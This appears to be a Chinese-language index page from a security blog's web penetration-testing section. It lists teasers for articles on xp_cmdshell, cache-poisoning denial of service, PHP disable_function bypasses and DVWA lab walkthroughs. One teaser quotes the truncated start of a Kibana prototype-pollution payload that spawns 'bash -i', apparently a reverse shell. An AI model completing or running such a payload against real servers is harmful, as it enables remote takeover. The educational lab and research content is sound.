SQL Server xp_cmdshell 完整指南：啟用、停用、風險與偵測
完整解析 SQL Server xp_cmdshell 的用途、啟用與停用、執行權限、proxy account、資安風險、偵測方法與最小權限防護。
264
Web 滲透與漏洞研究
Web 滲透與漏洞研究專題整理網站漏洞、注入攻擊、XSS、SSRF、RCE、框架弱點、繞過技巧與防護實務，是 Web 安全研究的核心入口。 包含實務案例、工具使用、風險分析與防護建議，作為相關文章的整理入口。
波波
CPDoS: Cache Poisoned Denial of Service
What is CPDoS? Cache-Poisoned Denial-of-Service (CPDoS) is a new class of web cache poisoning attacks aimed at disabling...
PHP繞過disable_function 總結與實踐
原文連結： https://blog.szfszf.top/tech/php%E7%BB%95%E8%BF%87disable_function-%E6%80%BB%E7%BB%93%E4%B8%8E%E5%AE%9E%E8%B7%B5/ ...
Prototype Pollution in Kibana
POC: kibana < 6.6.0 .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i...
DVWA（Damn Vulnerable Web Application）- SQL Injection
DVWA（Damn Vulnerable Web Application） DVWA（Damn Vulnerable Web Application）是一個用來進行弱點安全測試的網站系統，旨在為安全專業人員測試自己的專業技能和工具提供合法的...
DVWA（Damn Vulnerable Web Application）- File Upload
DVWA（Damn Vulnerable Web Application） DVWA（Damn Vulnerable Web Application）是一個用來進行弱點安全測試的網站系統，旨在為安全專業人員測試自己的專業技能和工具提供合法的...
DVWA（Damn Vulnerable Web Application）- File Inclusion
DVWA（Damn Vulnerable Web Application） DVWA（Damn Vulnerable Web Application）是一個用來進行弱點安全測試的網站系統，旨在為安全專業人員測試自己的專業技能和工具提供合法的...
DVWA（Damn Vulnerable Web Application）- Cross Site Request Forgery
DVWA（Damn Vulnerable Web Application） DVWA（Damn Vulnerable Web Application）是一個用來進行弱點安全測試的網站系統，旨在為安全專業人員測試自己的專業技能和工具提供合法的...
DVWA（Damn Vulnerable Web Application）- Command Injection
DVWA（Damn Vulnerable Web Application） DVWA（Damn Vulnerable Web Application）是一個用來進行弱點安全測試的網站系統，旨在為安全專業人員測試自己的專業技能和工具提供合法的...
DVWA（Damn Vulnerable Web Application）- Brute Force
DVWA（Damn Vulnerable Web Application） DVWA（Damn Vulnerable Web Application）是一個用來進行弱點安全測試的網站系統，旨在為安全專業人員測試自己的專業技能和工具提供合法的...